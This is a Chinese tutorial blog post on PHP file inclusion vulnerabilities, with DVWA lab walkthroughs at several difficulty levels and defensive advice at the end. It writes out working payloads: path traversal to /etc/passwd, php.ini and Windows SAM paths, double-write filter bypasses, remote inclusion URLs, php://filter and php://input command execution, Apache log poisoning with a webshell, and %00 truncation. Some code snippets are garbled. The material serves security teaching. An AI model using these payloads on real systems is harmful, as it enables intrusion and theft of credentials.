最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

WEB漏洞之文件包含漏洞绕过方法php总结

XAMPP教程 admin 1548浏览 0评论

f000058

理论:
文件包含:

编写程序时把重复使用的函数写到单个文件中,在使用这些函数的时候,直接调用此文件,就无需再次编写,这种调用文件的过程叫做包含

 

文件包含漏洞:

开发人员希望代码更加灵活,所以会将被包含的文件设置为变量,用来动态调用。

文件包含漏洞产生的原因就是函数通过变量引入文件时,没有对传入的文件名进行合理的校验,从而操作了预想之外的文件,这样就导致了意外的文件泄露甚至恶意代码注入。

 

文件包含函数:

PHP中提供文件包含的函数:

include() 找不到被包含的文件时只产生警告

include_once() 与include()相似,区别是如果文件中的代码已经被包含,则不会再次包含

require() 找不到被包含的文件时会产生致命错误,脚本停止运行

require_once() 与require()相似,区别是文件中的代码已经被包含时,则不会再次包含

 

jsp\servlet提供的文件包含函数

ava.io.file()

java.io.filereader()

 

asp中提供的文件包含函数

include_file

include_virtual

 

文件包含漏洞分类:

本地文件包含:

被包含的文件存储在本地服务器

 

远程文件包含:

被包含的文件存储在第三方服务器

条件是:allow_url_fopen = on

 

文件包含漏洞检测:

存在包含漏洞的页面特征:

?page=a.php

?home=b.html

?file=content

经典测试方法:

?file=../../../etc/passwd

?page=file:///etc/passwd

?pade=http://www.f_In.cn/1.php

 

实例:
1.文件包含漏洞实例(Windows)初级
进入dvwa,将安全级别设置为low

 

点击file inclusion 进入测试页面

 

在URL地址后添加/etc/passwd,通过返回页面可以判断系统为Windows,且获得服务器文件的绝对路径

 

绝对路径访问,

在url后添加具体命令如下,获取PHP文件信息

D:\phpstudy\www\dvwa\php.ini

 

相对路径访问:

在url地址中输入文件的相对路径,获得PHP文件信息,具体命令如下:

其中../为回旋符,返回系统根目录。

../../../../../ phpstudy\www\dvwa\php.ini

 

为了增加隐蔽性,将\phpstudy\www\dvwa\php.ini进行编码后进行访问

 

远程文件包含

创建文件phpinfo.txt,并放置到第三方服务器

<< span=””>?php

phpinfo()

?>

 

在url地址中输入外部链接,获得相关php文件信息

HTTP://192.168.1.10/phpinfo.txt

其中IP地址为第三方服务器IP地址

 

将HTTP://192.168.1.10/phpinfo.txt编码后进行访问

 

 

 

2.文件包含漏洞实例(Windows)中级
进入dvwa,将安全级别设置为medium

 

点击file inclusion 进入测试页面

 

在URL地址后添加/etc/passwd,通过返回页面可以判断系统为Windows,且获得服务器文件的绝对路径D:\phpstudy\www\dvwa

 

绝对路径访问,

在url后添加具体命令如下,获取PHP文件信息

D:\phpstudy\www\dvwa\php.ini

 

查看源代码,发现服务器端使用str_replace()函数对../ ..\ http https 进行了过滤

 

相对路径访问时,使用双写的方式进行绕过,

…/./…/./…/./…/./…/./phpstudy/www/dvwa/php.ini

 

远程文件包含

创建文件phpinfo.txt,并放置到第三方服务器
phpinfo()

?>

在url地址中输入外部链接,使用双写绕过的替换规则,获得相关php文件信息

hthttp://tp://192.168.1.10/phpinfo.txt

3.文件包含漏洞实例三(Windows)高级
进入dvwa,将安全级别设置为high

 

点击file inclusion 进入测试页面

 

在URL地址后添加/etc/passwd,查看结果发现报错

 

查看源代码,发现服务端使用fnmatch()函数检查page参数,要求page参数的开头必须为file,服务器才会包含相应的文件

 

在url地址后添加file:///etc/passwd,查看返回结果,系统为Windows 并发现web文件路径

 

绝对访问路径:

在地址中输入如下参数,获取php文件信息

file:///D:\phpstudy\www\dvwa\php.ini

 

相对路径访问

file:///..\..\..\..\..\phpstudy\www\dvwa\php.ini

 

 

4.文件包含漏洞实例四(Linux)初级
dvwa平台(基于Linux)安全级别为low

 

进入dvwa,将安全级别设置为low

 

点击file inclusion 进入测试页面

 

在URL地址后添加/etc/passwd,通过返回页面结果,获取了平台所在系统的passwd文件信息

 

相对路径访问:

在url地址中输入文件的相对路径,获得passwd文件信息,具体命令如下:

其中../为回旋符,返回系统根目录。

../../../../../etc/passwd

 

为了增加隐蔽性,将/etc/passwd进行编码后进行访问

 

远程文件包含

创建文件phpinfo.txt,并放置到第三方服务器
phpinfo()

?>

 

在url地址中输入外部链接,获得相关php文件信息

HTTP://192.168.1.10/phpinfo.txt

其中IP地址为第三方服务器IP地址

 

将HTTP://192.168.1.10/phpinfo.txt编码后进行访问

 

5. 文件包含漏洞实例四(Linux)中级
进入dvwa,将安全级别设置为medium

 

点击file inclusion 进入测试页面

 

查看源代码,发现服务器端使用str_replace()函数对../ ..\ http https 进行了过滤

在URL地址后添加/etc/passwd,通过返回页面获取了平台所在系统的passwd文件信息

 

相对路径访问时,使用双写的方式进行绕过,

…/./…/./…/./…/./…/./etc/passwd

 

远程文件包含

创建文件phpinfo.txt,并放置到第三方服务器
phpinfo()

?>

在url地址中输入外部链接,使用双写绕过的替换规则,获得相关php文件信息

hthttp://tp://192.168.1.10/phpinfo.txt

 

6. 文件包含漏洞实例三(linux)高级
进入dvwa,将安全级别设置为high

 

点击file inclusion 进入测试页面

 

在URL地址后添加/etc/passwd,查看结果发现报错

 

查看源代码,发现服务端使用fnmatch()函数检查page参数,要求page参数的开头必须为file,服务器才会包含相应的文件

 

在url地址后添加file:///etc/passwd,查看返回结果,获取平台所在系统的passwd文件信息

 

相对路径访问

file:///../../../../../etc/passwd

 

7.中间件日志包含绕过实例:
当某个PHP文件只存在本地包含漏洞,不存在远程包含漏洞,而却无法上传正常文件(无上传功能),这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。

 

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

 

实验:

在dvwa中:安全级别设置为low

此时将一句话木马写入到access.log访问日志中

方法:在菜刀中复制一句话木马接在url地址后,执行之后日志就会记录下一句话木马

虽然会报错,但是一句话木马已经被记录在日志中

此时只要利用本地包含文件来执行access.log就可以了

注意使用../来调整目录

 

8.php包含读写文件
1.php包含读文件:
实验环境dvwa,安全级别low

 

条件是要知道这个文件的名称和路径

 

浏览器打开代理,开启burp 在浏览器中构造好URL执行抓包即可

http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

这个地址的作用是访问URL,修改包含函数的参数,由此通过php协议(php://filter/read)得到经过base64加密后的字符串

再解密就可以得到PHP数据内容了

 

2.php包含写文件
构造URL

http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input

 

并且burp提交post数据为: 使用php语言,system函数,执行net user

函数也可以采用很多其他可以执行命令的函数都可以在这里使用

 

只有在allow_url_include为on的时候才可以使用,如果想查看回显结果那必须在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。

 

文件包含漏洞绕过方法总结
1. str_replace函数绕过
实验环境DVWA,安全级别medium

程序员会使用str_replace函数进行防御,这个函数是极其不安全的,因为可以使用双写绕过替换规则轻松绕过

例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。

 

注意,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

 

实验:

1、本地文件包含

http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

2、绝对路径不受任何影响

http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

3、远程文件包含

http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

 

2.包含截断绕过
分析代码:

 

if(isset($_GET[‘page’])){

include $_GET[‘page’] .”.php” ;

}else{

include ‘home.php’;

}

?>

判断参数是否赋值,假如赋值了,包含参数变量, 加 .’’.php’’ 用来防御,如果没有赋值,包含home.php

这种方法只适合于magic_quotes_gpc=off的时候,

php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了,比如:

index.php?file=info.txt//…………超过一定数据的/。

 

3.fnmatch函数绕过
代码分析:

if(!fnmatch(“file*”,$file)&&$file!=”include.php”)

当文件既不是”include.php”(包含include.php文件)也不是”file*”(文件名file开头)时才出错误,反之意思,如果文件名符合其中一个条件既可以。

 

此时第一个条件很难满足,所以我们的目光转移到达成第二个漏洞

page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足”file*”(文件名file开头)

 

构造url

http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

成功读取了服务器的配置文件

利用php的file协议

 

4.impossible难度代码分析
if(!=”include.php”&&$ file ! “file1.php” &&”file2.php”)

 

他使用添加白名单的方式规定了参数只能为file1.php、 file2.php

 

利用与防御
1.文件包含漏洞利用:
1.文件包含常用的利用方法:
读取敏感信息

本地包含配合文件上传

使用php封装协议

apache日志文件

远程包含写shell

截断包含

 

2.读取敏感信息
常用的方法

就是在url地址后加上目标主机的文件名,如果目标主机上存在此文件,且用户有相应的权限,就可以读出文件内容。反之就会得到类似于open_based restriction in effect的警告

 

常见的敏感信息文件路径

Windows系统

C:\boot.ini//查看系统版本

C:\windows\repair\sam//存储了Windows系统初次安装密码

C:\porgram files\mysql\my.ini//存放MySQL配置

Linux系统

/etc/passwd

/etc/local/app/apache2/conf/httpd.conf //apache配置文件

/etc/my.cnf //mysql配置文件

 

3.本地包含配合文件上传
在网站提供文件上传功能的条件下,配合文件包含漏洞依然可以拿下shell

 

4.远程包含写shell
条件是allow_url_fopen=on

 

在远程服务器中编写shell.txt文件

在url参数后接第三方服务器地址和里面的文件名shell.txt

 

5.php封装协议
使用php://filter读取php文件的源代码

使用封装协议php://inpput进行代码执行

 

6.apache日志文件
条件是当前账户具有日志文件是权限,

方法:利用抓包软件在url中加入恶意代码,然后使用文件包含漏洞去包含日志文件,找到apache的路径是关键

 

7.截断包含
方法:%00(null)

利用操做系统对目录的最大长度限制

 

如果此时存在一个图片木马

输入http://www.f_i.cn/index.php?page=1.jpg%00

此方法只适用于majic_quotes_gpc=off 的情况下

 

文件包含漏洞的防御
严格判断包含中的参数是否外部可控

 

路径限制:限制被包含的文件只能是某一文件夹内,一定要禁止目录跳转字符如../

 

包含文件验证:验证被包含的文件是否是白名单中的一员

 

尽量不要使用动态包含,可以在需要包含的页面固定写好

转载请注明:XAMPP中文组官网 » WEB漏洞之文件包含漏洞绕过方法php总结

您必须 登录 才能发表评论!